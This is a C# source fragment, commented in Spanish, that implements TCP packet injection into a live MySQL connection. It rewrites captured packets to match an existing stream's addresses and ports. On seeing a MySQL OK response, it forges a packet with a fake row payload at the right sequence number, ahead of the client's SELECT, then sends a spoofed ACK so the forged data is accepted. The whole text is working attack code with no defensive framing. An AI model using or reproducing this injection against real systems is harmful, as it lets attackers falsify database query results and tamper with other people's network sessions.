void Inject(NetworkSniffer sniffer, TcpStream stream, Packet[] packets)
{
WriteInfo("Injecting packets");
foreach (EthernetPacket p in packets)
{
// Override ethernet
p.DestinationHwAddress = stream.DestinationHwAddress;
p.SourceHwAddress = stream.SourceHwAddress;
p.UpdateCalculatedValues();
IpPacket ip = (IpPacket)p.PayloadPacket;
ip.SourceAddress = stream.Source.Address;
ip.DestinationAddress = stream.Destination.Address;
ip.UpdateCalculatedValues();
if (ip.Protocol != IPProtocolType.TCP)
{
continue;
}
TcpPacket tcp = (TcpPacket)ip.PayloadPacket;
tcp.SourcePort = (ushort)stream.Source.Port;
tcp.DestinationPort = (ushort)stream.Destination.Port;
tcp.UpdateCalculatedValues();
// Send
sniffer.Send(p);
}
}
static void Ns_OnPacket(object sender, IPProtocolType protocolType, EthernetPacket packet)
{
NetworkSniffer ns = (NetworkSniffer)sender;
IPv4Packet ip = (IPv4Packet)packet.PayloadPacket;
TcpPacket t = (TcpPacket)ip.PayloadPacket;
// Si el paquete recibido es el de respuesta OK del mysql
if (t.PayloadData.SequenceEqual(ResponseOk))
{
Parent = packet;
// Replicamos el paquete, enviando el payload de la fila, si, antes de recibir el SELECT
LastSequenceId = (uint)(t.SequenceNumber + t.PayloadData.Length);
ip.Id++;
t.SequenceNumber = LastSequenceId;
t.OptionsCollection.Clear();
t.PayloadData = Payload;
t.Ack = true;
t.Psh = true;
ip.UpdateCalculatedValues();
t.UpdateCalculatedValues();
ip.UpdateIPChecksum();
t.UpdateTCPChecksum();
ns.Send(packet);
LastSequenceId = (uint)(t.SequenceNumber + t.PayloadData.Length);
Console.WriteLine(t.ToString(StringOutputType.Verbose));
}
else
{
// Si el paquete contiene el valor SELECT
string ascii = Encoding.ASCII.GetString(t.PayloadData);
if (Parent != null && ascii.Contains("SELECT"))
{
// Ya no actuamos mas
ns.OnPacket -= Ns_OnPacket;
ip = (IPv4Packet)Parent.PayloadPacket;
t = (TcpPacket)ip.PayloadPacket;
// Enviamos un ACK del paquete recibido, para darle por bueno
t.SequenceNumber = LastSequenceId;
t.AcknowledgmentNumber = t.AcknowledgmentNumber;
t.PayloadData = new byte[] { };
ip.Id++;
t.Ack = true;
t.Psh = false;
ip.UpdateCalculatedValues();
t.UpdateCalculatedValues();
ip.UpdateIPChecksum();
t.UpdateTCPChecksum();
ns.Send(packet);
Console.WriteLine(t.ToString(StringOutputType.Verbose));
}
}
}
